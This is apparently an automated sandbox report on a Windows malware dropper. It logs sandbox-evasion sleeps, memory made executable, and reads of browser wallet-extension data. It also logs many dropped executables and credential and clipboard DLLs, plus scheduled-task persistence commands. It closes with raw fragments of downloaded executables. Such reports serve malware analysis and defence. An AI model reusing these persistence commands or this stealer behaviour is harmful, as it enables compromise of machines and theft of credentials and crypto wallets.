base_address: 0x7561c000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2840
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x7563c000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2840
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x7561c000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2840
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x7563c000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2840
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x73423000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2840
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x734c7000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2840
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x76af9000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2840
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x75ac2000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2840
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x75602000
process_handle: 0xffffffff
1 0 0
description explorhe.exe tried to sleep 238 seconds, actually delayed analysis time by 238 seconds
Time & API Arguments Status Return Repeated

GetDiskFreeSpaceW

 number_of_free_clusters: 8362495
sectors_per_cluster: 8362495
bytes_per_sector: 512
root_path: C:
total_number_of_clusters: 8362495
1 1 0

GetDiskFreeSpaceW

 number_of_free_clusters: 8362495
sectors_per_cluster: 8362495
bytes_per_sector: 512
root_path: C:
total_number_of_clusters: 8362495
1 1 0

GetDiskFreeSpaceW

 number_of_free_clusters: 8362495
sectors_per_cluster: 8362495
bytes_per_sector: 512
root_path: C:
total_number_of_clusters: 8362495
1 1 0

GetDiskFreeSpaceW

 number_of_free_clusters: 8362495
sectors_per_cluster: 8362495
bytes_per_sector: 512
root_path: C:
total_number_of_clusters: 8362495
1 1 0

GetDiskFreeSpaceW

 number_of_free_clusters: 8362495
sectors_per_cluster: 8362495
bytes_per_sector: 512
root_path: C:
total_number_of_clusters: 8362495
1 1 0

GetDiskFreeSpaceW

 number_of_free_clusters: 8362495
sectors_per_cluster: 8362495
bytes_per_sector: 512
root_path: C:
total_number_of_clusters: 8362495
1 1 0

GetDiskFreeSpaceW

 number_of_free_clusters: 8362495
sectors_per_cluster: 8362495
bytes_per_sector: 512
root_path: C:
total_number_of_clusters: 8362495
1 1 0

GetDiskFreeSpaceW

 number_of_free_clusters: 8362495
sectors_per_cluster: 8362495
bytes_per_sector: 512
root_path: C:
total_number_of_clusters: 8362495
1 1 0

GetDiskFreeSpaceW

 number_of_free_clusters: 8362495
sectors_per_cluster: 8362495
bytes_per_sector: 512
root_path: C:
total_number_of_clusters: 8362495
1 1 0

GetDiskFreeSpaceW

 number_of_free_clusters: 8362495
sectors_per_cluster: 8362495
bytes_per_sector: 512
root_path: C:
total_number_of_clusters: 8362495
1 1 0

GetDiskFreeSpaceW

 number_of_free_clusters: 8362495
sectors_per_cluster: 8362495
bytes_per_sector: 512
root_path: C:
total_number_of_clusters: 8362495
1 1 0

GetDiskFreeSpaceW

 number_of_free_clusters: 8362495
sectors_per_cluster: 8362495
bytes_per_sector: 512
root_path: C:
total_number_of_clusters: 8362495
1 1 0

GetDiskFreeSpaceW

 number_of_free_clusters: 8362495
sectors_per_cluster: 8362495
bytes_per_sector: 512
root_path: C:
total_number_of_clusters: 8362495
1 1 0

GetDiskFreeSpaceW

 number_of_free_clusters: 8362495
sectors_per_cluster: 8362495
bytes_per_sector: 512
root_path: C:
total_number_of_clusters: 8362495
1 1 0

GetDiskFreeSpaceW

 number_of_free_clusters: 8362495
sectors_per_cluster: 8362495
bytes_per_sector: 512
root_path: C:
total_number_of_clusters: 8362495
1 1 0

GetDiskFreeSpaceW

 number_of_free_clusters: 8362495
sectors_per_cluster: 8362495
bytes_per_sector: 512
root_path: C:
total_number_of_clusters: 8362495
1 1 0

GetDiskFreeSpaceW

 number_of_free_clusters: 8362495
sectors_per_cluster: 8362495
bytes_per_sector: 512
root_path: C:
total_number_of_clusters: 8362495
1 1 0

GetDiskFreeSpaceW

 number_of_free_clusters: 8362495
sectors_per_cluster: 8362495
bytes_per_sector: 512
root_path: C:
total_number_of_clusters: 8362495
1 1 0

GetDiskFreeSpaceW

 number_of_free_clusters: 8362495
sectors_per_cluster: 8362495
bytes_per_sector: 512
root_path: C:
total_number_of_clusters: 8362495
1 1 0

GetDiskFreeSpaceExW

 total_number_of_free_bytes: 9863176192
free_bytes_available: 9863176192
root_path: C:
total_number_of_bytes: 34252779520
1 1 0

GetDiskFreeSpaceExW

 total_number_of_free_bytes: 9916186624
free_bytes_available: 9916186624
root_path: C:
total_number_of_bytes: 34252779520
1 1 0

GetDiskFreeSpaceExW

 total_number_of_free_bytes: 9999552512
free_bytes_available: 9999552512
root_path: C:
total_number_of_bytes: 34252779520
1 1 0

GetDiskFreeSpaceExW

 total_number_of_free_bytes: 9999552512
free_bytes_available: 9999552512
root_path: C:
total_number_of_bytes: 34252779520
1 1 0
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\ThirdPartyModuleList64\Local Extension Settings\cjmkndjhnagcfbpiemnkdpomccnjblmj\CURRENT
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\PepperFlash\Sync Extension Settings\kncchdigobghenbbaddojjnnaogfppfj\CURRENT
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\OriginTrials\Local Extension Settings\lpilbniiabackdjcionkobglmddfbcjo\CURRENT
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\ShaderCache\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa\CURRENT
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\MEIPreload\Sync Extension Settings\kncchdigobghenbbaddojjnnaogfppfj\CURRENT
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\OnDeviceHeadSuggestModel\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic\CURRENT
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\SafetyTips\Sync Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad\CURRENT
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp\CURRENT
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\FontLookupTableCache\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk\CURRENT
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\ShaderCache\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao\CURRENT
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\GrShaderCache\Sync Extension Settings\aijcbedoijmgnlmjeegjaglmepbmpkpi\CURRENT
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\ThirdPartyModuleList64\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne\CURRENT
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn\CURRENT
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\FontLookupTableCache\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm\CURRENT
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Safe Browsing\Sync Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno\CURRENT
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\RecoveryImproved\Local Extension Settings\bgpipimickeadkjlklgciifhnalhdjhe\CURRENT
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm\CURRENT
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\GrShaderCache\Sync Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf\CURRENT
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\BrowserMetrics\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf\CURRENT
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\TLSDeprecationConfig\Local Extension Settings\epapihdplajcdnnkdeiahlgigofloibg\CURRENT
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\ShaderCache\Sync Extension Settings\mgffkfbidihjpoaomajlbgchddlicgpn\CURRENT
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\CertificateRevocation\Sync Extension Settings\lpilbniiabackdjcionkobglmddfbcjo\CURRENT
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\OriginTrials\Sync Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh\CURRENT
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\CertificateRevocation\Sync Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma\CURRENT
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc\CURRENT
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\ZxcvbnData\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc\CURRENT
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\RecoveryImproved\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi\CURRENT
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb\CURRENT
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Crashpad\Sync Extension Settings\jnkelfanjkeadonecabehalmbgpfodjm\CURRENT
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\SSLErrorAssistant\Local Extension Settings\gjagmgiddbbciopjhllkdnddhcglnemk\CURRENT
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\CertificateRevocation\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj\CURRENT
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\FileTypePolicies\Sync Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad\CURRENT
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\MEIPreload\Sync Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh\CURRENT
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\TrustTokenKeyCommitments\Sync Extension Settings\blnieiiffboillknjnepogjhkgnoapac\CURRENT
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\recovery\Sync Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc\CURRENT
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Sync Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa\CURRENT
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\TLSDeprecationConfig\Sync Extension Settings\fhilaheimglignddkjgofkcbgekhenbh\CURRENT
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\TLSDeprecationConfig\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcobl\CURRENT
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp\CURRENT
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Crowd Deny\Sync Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec\CURRENT
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\CertificateRevocation\Sync Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec\CURRENT
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\ZxcvbnData\Sync Extension Settings\kpfopkelmapcoipemfendmdcghnegimn\CURRENT
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\pnacl\Sync Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb\CURRENT
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\BrowserMetrics\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk\CURRENT
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\TrustTokenKeyCommitments\Local Extension Settings\aijcbedoijmgnlmjeegjaglmepbmpkpi\CURRENT
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\TrustTokenKeyCommitments\Local Extension Settings\pdadjkfkgcafgbceimcpbkalnfnepbnk\CURRENT
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\GrShaderCache\Local Extension Settings\gjagmgiddbbciopjhllkdnddhcglnemk\CURRENT
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\PepperFlash\Sync Extension Settings\oeljdldpnmdbchonielidgobddffflal\CURRENT
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\ShaderCache\Sync Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp\CURRENT
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Subresource Filter\Sync Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm\CURRENT
domain ipinfo.io
file C:\Users\test22\AppData\Local\Temp\1000609001\stan.exe
file C:\Users\test22\AppData\Local\Temp\jobA4M1jhwiskHEa_E\Q2lP3WOPFRddpU6U21z0.exe
file C:\Users\test22\AppData\Local\Temp\nsaD6BF.tmp\INetC.dll
file C:\Users\test22\AppData\Local\Temp\jobA4M1jhwiskHEa_E\txBA3rlC1VaXg6uHQQD1.exe
file C:\Users\test22\AppData\Local\Temp\1000630001\fsdfsfsfs.exe
file C:\Users\test22\AppData\Roaming\006700e5a2ab05\cred64.dll
file C:\Users\test22\AppData\Local\Temp\1000640001\crypted.exe
file C:\Users\test22\AppData\Local\Temp\BroomSetup.exe
file C:\Users\test22\AppData\Local\Temp\1000631001\MRK.exe
file C:\Users\test22\AppData\Local\Temp\jobA4M1jhwiskHEa_E\K5hUVnj3aMwtC3i_NpaY.exe
file C:\Users\test22\AppData\Local\Temp\toolspub1.exe
file C:\Users\test22\AppData\Local\Temp\1000642001\alex.exe
file C:\Users\test22\AppData\Roaming\Temp\Task.bat
file C:\Users\test22\AppData\Roaming\006700e5a2ab05\clip64.dll
file C:\Users\test22\AppData\Local\Temp\1000636001\latestrocki.exe
file C:\Users\test22\AppData\Local\Temp\1000643001\rdx1122.exe
file C:\Users\test22\AppData\Local\Temp\1000639001\moto.exe
file C:\Users\test22\AppData\Local\Temp\1000634001\Atqumy.exe
file C:\Users\test22\AppData\Local\Temp\jobA4M1jhwiskHEa_E\EOhQhAkcbWTB_T1v1y_S.exe
file C:\Users\test22\AppData\Local\Temp\InstallSetup7.exe
file C:\Users\test22\AppData\Local\Temp\1000641001\2024.exe
file C:\Users\test22\AppData\Local\Temp\1000632001\sadsadsadsa.exe
file C:\Users\test22\AppData\Local\Temp\jobA4M1jhwiskHEa_E\KUrJTQEsIHMvAcabBVxa.exe
file C:\Users\test22\AppData\Local\Temp\1000629001\installs.exe
cmdline schtasks /create /tn "MalayamaraUpdate" /tr "'C:\Users\test22\AppData\Local\Temp\Updater.exe'" /sc minute /mo 30 /F
cmdline "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN explorhe.exe /TR "C:\Users\test22\AppData\Local\Temp\d887ceb89d\explorhe.exe" /F
cmdline SCHTASKS /Create /SC MINUTE /MO 1 /TN explorhe.exe /TR "C:\Users\test22\AppData\Local\Temp\d887ceb89d\explorhe.exe" /F
cmdline schtasks /create /f /RU "test22" /tr "C:\ProgramData\MPGPH131\MPGPH131.exe" /tn "MPGPH131 HR" /sc HOURLY /rl HIGHEST
cmdline schtasks /create /f /RU "test22" /tr "C:\ProgramData\MPGPH131\MPGPH131.exe" /tn "MPGPH131 LG" /sc ONLOGON /rl HIGHEST
file C:\Users\test22\AppData\Local\Temp\jobA4M1jhwiskHEa_E\KUrJTQEsIHMvAcabBVxa.exe
file C:\Users\test22\AppData\Local\Temp\jobA4M1jhwiskHEa_E\txBA3rlC1VaXg6uHQQD1.exe
file C:\Users\test22\AppData\Local\Temp\jobA4M1jhwiskHEa_E\Q2lP3WOPFRddpU6U21z0.exe
file C:\Users\test22\AppData\Local\Temp\jobA4M1jhwiskHEa_E\K5hUVnj3aMwtC3i_NpaY.exe
file C:\Users\test22\AppData\Local\Temp\d887ceb89d\explorhe.exe
file C:\Users\test22\AppData\Local\Temp\1000609001\stan.exe
file C:\Users\test22\AppData\Local\Temp\1000629001\installs.exe
file C:\Users\test22\AppData\Local\Temp\1000630001\fsdfsfsfs.exe
file C:\Users\test22\AppData\Local\Temp\1000631001\MRK.exe
file C:\Users\test22\AppData\Local\Temp\1000632001\sadsadsadsa.exe
file C:\Users\test22\AppData\Local\Temp\1000634001\Atqumy.exe
file C:\Users\test22\AppData\Local\Temp\1000636001\latestrocki.exe
file C:\Users\test22\AppData\Local\Temp\1000640001\crypted.exe
file C:\Users\test22\AppData\Local\Temp\1000641001\2024.exe
file C:\Users\test22\AppData\Local\Temp\1000642001\alex.exe
file C:\Users\test22\AppData\Local\Temp\1000643001\rdx1122.exe
file C:\Users\test22\AppData\Local\Temp\InstallSetup7.exe
file C:\Users\test22\AppData\Local\Temp\toolspub1.exe
file C:\Users\test22\AppData\Local\Temp\SandboxieInstall.exe
file C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\BYECVYBT\clip64[1].dll
file C:\Users\test22\AppData\Local\Temp\1000642001\alex.exe
file C:\Users\test22\AppData\Local\Temp\jobA4M1jhwiskHEa_E\KUrJTQEsIHMvAcabBVxa.exe
file C:\Users\test22\AppData\Local\Temp\BroomSetup.exe
file C:\Users\test22\AppData\Local\Temp\1000636001\latestrocki.exe
file C:\Users\test22\AppData\Local\Temp\1000631001\MRK.exe
file C:\Users\test22\AppData\Local\Temp\1000632001\sadsadsadsa.exe
file C:\Users\test22\AppData\Local\Temp\1000629001\installs.exe
file C:\Users\test22\AppData\Local\Temp\toolspub1.exe
file C:\Users\test22\AppData\Local\Temp\InstallSetup7.exe
file C:\Users\test22\AppData\Local\Temp\202005191702_6d173b9549ce4fe1e5ada5ab9ce0bfff5d9569f19e7fa916db5c8d4f0dace63b_setup_nwc275a_demo.exe
file C:\Users\test22\AppData\Local\Temp\1000641001\2024.exe
file C:\Users\test22\AppData\Local\Temp\Setup00000994\OSETUPUI.DLL
file C:\Users\test22\AppData\Local\Temp\d887ceb89d\explorhe.exe
file C:\Users\test22\AppData\Local\Temp\nshDAD7.tmp
file C:\Users\test22\AppData\Local\Temp\Setup00000994\OSETUP.DLL
file C:\Users\test22\AppData\Local\Temp\1000643001\rdx1122.exe
file C:\Users\test22\AppData\Local\Temp\jobA4M1jhwiskHEa_E\txBA3rlC1VaXg6uHQQD1.exe
file C:\Users\test22\AppData\Local\Temp\1000640001\crypted.exe
file C:\Users\test22\AppData\Local\Temp\Setup000023ac\OSETUP.DLL
file C:\Users\test22\AppData\Local\Temp\Setup000023ac\ose00000.exe
file C:\Users\test22\AppData\Local\Temp\Setup00000994\ose00000.exe
file C:\Users\test22\AppData\Local\Temp\rost.exe
file C:\Users\test22\AppData\Local\Temp\1000609001\stan.exe
file C:\Users\test22\AppData\Local\Temp\jobA4M1jhwiskHEa_E\Q2lP3WOPFRddpU6U21z0.exe
file C:\Users\test22\AppData\Local\Temp\nsaD6BF.tmp\INetC.dll
file C:\Users\test22\AppData\Local\Temp\1000630001\fsdfsfsfs.exe
file C:\Users\test22\AppData\Local\Temp\Setup000023ac\OSETUPUI.DLL
file C:\Users\test22\AppData\Local\Temp\1000634001\Atqumy.exe
file C:\Users\test22\AppData\Local\Temp\jobA4M1jhwiskHEa_E\K5hUVnj3aMwtC3i_NpaY.exe
Time & API Arguments Status Return Repeated

CreateProcessInternalW

 thread_identifier: 2436
thread_handle: 0x0000013c
process_identifier: 2432
current_directory:
filepath:
track: 1
command_line: schtasks /create /f /RU "test22" /tr "C:\ProgramData\MPGPH131\MPGPH131.exe" /tn "MPGPH131 HR" /sc HOURLY /rl HIGHEST
filepath_r:
stack_pivoted: 0
creation_flags: 134217728 (CREATE_NO_WINDOW)
inherit_handles: 0
process_handle: 0x00000140
1 1 0

CreateProcessInternalW

 thread_identifier: 2544
thread_handle: 0x00000148
process_identifier: 2540
current_directory:
filepath:
track: 1
command_line: schtasks /create /f /RU "test22" /tr "C:\ProgramData\MPGPH131\MPGPH131.exe" /tn "MPGPH131 LG" /sc ONLOGON /rl HIGHEST
filepath_r:
stack_pivoted: 0
creation_flags: 134217728 (CREATE_NO_WINDOW)
inherit_handles: 0
process_handle: 0x00000144
1 1 0

ShellExecuteExW

 show_type: 0
filepath_r: C:\Users\test22\AppData\Local\Temp\d887ceb89d\explorhe.exe
parameters:
filepath: C:\Users\test22\AppData\Local\Temp\d887ceb89d\explorhe.exe
1 1 0

ShellExecuteExW

 show_type: 0
filepath_r: SCHTASKS
parameters: /Create /SC MINUTE /MO 1 /TN explorhe.exe /TR "C:\Users\test22\AppData\Local\Temp\d887ceb89d\explorhe.exe" /F
filepath: SCHTASKS
1 1 0

ShellExecuteExW

 show_type: 0
filepath_r: C:\Users\test22\AppData\Local\Temp\1000609001\stan.exe
parameters:
filepath: C:\Users\test22\AppData\Local\Temp\1000609001\stan.exe
1 1 0

ShellExecuteExW

 show_type: 0
filepath_r: C:\Users\test22\AppData\Local\Temp\1000629001\installs.exe
parameters:
filepath: C:\Users\test22\AppData\Local\Temp\1000629001\installs.exe
1 1 0

ShellExecuteExW

 show_type: 0
filepath_r: C:\Users\test22\AppData\Local\Temp\1000630001\fsdfsfsfs.exe
parameters:
filepath: C:\Users\test22\AppData\Local\Temp\1000630001\fsdfsfsfs.exe
1 1 0

ShellExecuteExW

 show_type: 0
filepath_r: C:\Users\test22\AppData\Local\Temp\1000631001\MRK.exe
parameters:
filepath: C:\Users\test22\AppData\Local\Temp\1000631001\MRK.exe
1 1 0

ShellExecuteExW

 show_type: 0
filepath_r: C:\Users\test22\AppData\Local\Temp\1000632001\sadsadsadsa.exe
parameters:
filepath: C:\Users\test22\AppData\Local\Temp\1000632001\sadsadsadsa.exe
1 1 0

ShellExecuteExW

 show_type: 0
filepath_r: C:\Users\test22\AppData\Local\Temp\1000634001\Atqumy.exe
parameters:
filepath: C:\Users\test22\AppData\Local\Temp\1000634001\Atqumy.exe
1 1 0

ShellExecuteExW

 show_type: 0
filepath_r: rundll32.exe
parameters: C:\Users\test22\AppData\Roaming\006700e5a2ab05\clip64.dll, Main
filepath: rundll32.exe
1 1 0

ShellExecuteExW

 show_type: 0
filepath_r: C:\Users\test22\AppData\Local\Temp\1000636001\latestrocki.exe
parameters:
filepath: C:\Users\test22\AppData\Local\Temp\1000636001\latestrocki.exe
1 1 0

ShellExecuteExW

 show_type: 0
filepath_r: C:\Users\test22\AppData\Local\Temp\1000639001\moto.exe
parameters:
filepath: C:\Users\test22\AppData\Local\Temp\1000639001\moto.exe
1 1 0

ShellExecuteExW

 show_type: 0
filepath_r: C:\Users\test22\AppData\Local\Temp\1000640001\crypted.exe
parameters:
filepath: C:\Users\test22\AppData\Local\Temp\1000640001\crypted.exe
1 1 0

ShellExecuteExW

 show_type: 0
filepath_r: C:\Users\test22\AppData\Local\Temp\1000641001\2024.exe
parameters:
filepath: C:\Users\test22\AppData\Local\Temp\1000641001\2024.exe
1 1 0

ShellExecuteExW

 show_type: 0
filepath_r: C:\Users\test22\AppData\Local\Temp\1000642001\alex.exe
parameters:
filepath: C:\Users\test22\AppData\Local\Temp\1000642001\alex.exe
1 1 0

ShellExecuteExW

 show_type: 0
filepath_r: C:\Users\test22\AppData\Local\Temp\1000643001\rdx1122.exe
parameters:
filepath: C:\Users\test22\AppData\Local\Temp\1000643001\rdx1122.exe
1 1 0
Time & API Arguments Status Return Repeated

Process32NextW

 snapshot_handle: 0x00000484
process_name: SearchProtocolHost.exe
process_identifier: 1608
1 1 0

Process32NextW

 snapshot_handle: 0x00000484
process_name: SearchFilterHost.exe
process_identifier: 1676
1 1 0

Process32NextW

 snapshot_handle: 0x00000484
process_name: rost.exe
process_identifier: 1932
1 1 0

Process32NextW

 snapshot_handle: 0x00000484
process_name: svchost.exe
process_identifier: 2236
1 1 0

Process32NextW

 snapshot_handle: 0x00000484
process_name: mscorsvw.exe
process_identifier: 2264
1 1 0

Process32NextW

 snapshot_handle: 0x00000484
process_name: mscorsvw.exe
process_identifier: 2308
1 1 0

Process32NextW

 snapshot_handle: 0x00000484
process_name: cmd.exe
process_identifier: 2480
1 1 0

Process32NextW

 snapshot_handle: 0x00000484
process_name: pw.exe
process_identifier: 2516
1 1 0
Time & API Arguments Status Return Repeated

NtProtectVirtualMemory

 process_identifier: 2840
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 16 (PAGE_EXECUTE)
base_address: 0x052c0000
process_handle: 0xffffffff
1 0 0
Time & API Arguments Status Return Repeated

InternetReadFile

 buffer: MZÿÿ¸@ º´ Í!¸LÍ!This program cannot be run in DOS mode. $šÇƒ®Þ¦íýÞ¦íýÞ¦íýj:ýý¦íýj:ýC¦íýj:ýý¦íý@*ýߦíýŒÎèüó¦íýŒÎéü̦íýŒÎîü˦íý×Þnýצíý×Þ~ýû¦íýÞ¦ìý÷¤íý{ÏãüŽ¦íý{Ïîüߦíý{ÏýߦíýÞ¦zýߦíý{ÏïüߦíýRichÞ¦íýPEL7f³eà" ¬ PwÀ @`‘3@€@@dŽ |@ L•à ”uð 4  @À ”.text« ¬  `.rdata‚ûÀ ü° @@.datalpÀ H¬ @À.rsrcL•@ –ô @@.reloc”uà vŠ @B¹t Mè8ýhé#DèðYÃhó#DèƒðYÃèæÞhø#DèrðYÃèY<hý#DèaðYÃQè©h$DèOðYá0MQ‹@0MPèã#h$Dè/ðYÃèÞ%h$DèðYÃè®çh!$Dè ðYÃèA2h&$DèüïYÃèPÁh0$DèëïYù%M蝘h?$DèÕïYÃV‹ñN贇N謇j(VèâìYY‹Æ^ÂU‹ìƒì8Ç0MtÉI3ÒÇœM0ÉI‰ M‰¤MVQf‰¨Mèo¡0M‹@ǀ0M\ÉI¡0M‹H”ûÿÿ‰,M3À¹¸M£ÌM£ÐM£ÔMèY ¹èMè헹øMè㗹Mèٗ3À¹„M£TM£XM£\M£`M£dM£hM£lM£pM£tM£xM蛗3ÀǬM<ÉI¹M£”M£˜Mf£œM£ M£¤Mf£¨M£°M£´M£¸M£¼M£ÀM£ÄMÇÈM@ÉI£ÌM£ÐM£ÔMÇØM@ÉI£ÜM£àM£äMÇèM@ÉI£ìM£ðM£ôMÇøMDÉI£üM£M£M£M£MÇMèϖ¹(Mè€ÇM<ÉI3Ò¹M‰M‰M‰ M膹@M蓖3À¹„MP£`M£dM£hM£pM£tM£xMèGMÈè$P¡0M‹HÁ4M薍Mè胼MÈè{¼3ÀfÇ0Mjö£,M£ M£$M£M£M£(M£€Mf£lM¢”M¢}M£\MÿhÂI‹ð…ö… 3҉|MèÂRÿhÈI¸0M^É¡0M¹@MV‹@ǀ0MhÉI3À£4M£8M£<Mè+¹tMè!¾¨M‹Î腕h ÉI‹ÎèoW¸0M^ÂV‹ñNèe•Nè
request_handle: 0x00cc000c
1 1 0

InternetReadFile

 buffer: MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $wDþØ3%‹3%‹3%‹hM“Š=%‹hM•Š­%‹hM”Š %‹æH”Š!%‹æH“Š'%‹æH•ŠF%‹hM‘Š"%‹3%‘‹ã%‹¨K™Š2%‹¨Ko‹2%‹¨K’Š2%‹Rich3%‹PELl֖eà  °´]@ @€@@8Ð6`ðØ(Ð6`´8Ð6<@à  j@@àP@ ª@à´@àP ´@à.rsrcð´@àÐ/¶@à.dataTh° Ð6¤ ¶@à#ªº9wЅäBôoÈ^ûË_¦úÌ$äYéÓÏým6®ïɦÄ,ÇC££7Ö=#,œE+—œÆt]Âb¸ c ©«ˆÆO9øV3P7ÚZ6’2œÒM./1ýÑ3ÞRqøÔ¹VFIJ»$iaڇý`¯%^ † ɸ¿OÔ/o¿` >Jê¿1°–ö<÷Ìê’Æó;ʛ*¨¡)–ÀÃ]ïÇ®…XN'r Zr2óàfÓÎwm ÛTî%ïöЙ>î Ëô9”tú|OñÀ$kãӟáR£Yc|²õŽÒ!òc/Úøãw#ò>•]ç|„ØkŠ×çˆ]yÜÃ*eøKëÇ÷d9(¶mÝé½BîÀ߂ÍlNeL•ÌF¼6ç%fLðÛgEw-t¬!"kÇRQ•%ÞÁ™ˆZî€bÛ­$]PM©Fñß4f²ý¦reÔnÕ(:í Œ7ëÚ¾œÞ‚ÊOÊ)}LT &s@^¢§fg T‡ê{ÊåM6"¯xçúÊÓs­šß7ªæ«4bx*«# X²æóýæ+“ ,7þžŸM¤*W,ÞØϹcz"@yKC|Ÿý¯QÀ &¸S\=½Ã¯7»õ·ˆ+Ùa< É0% 0ÕÚ#ûPZ·ˆ!©¨¼¡^ *@¸Œ!B7‡C€”/HY+e÷Ÿ¾f°Énƒó=d%sîƜW€u vÝÚ¶cú]ç—¶»óX™›}”§Xœš—$ˆf¥¥q¬äÕl 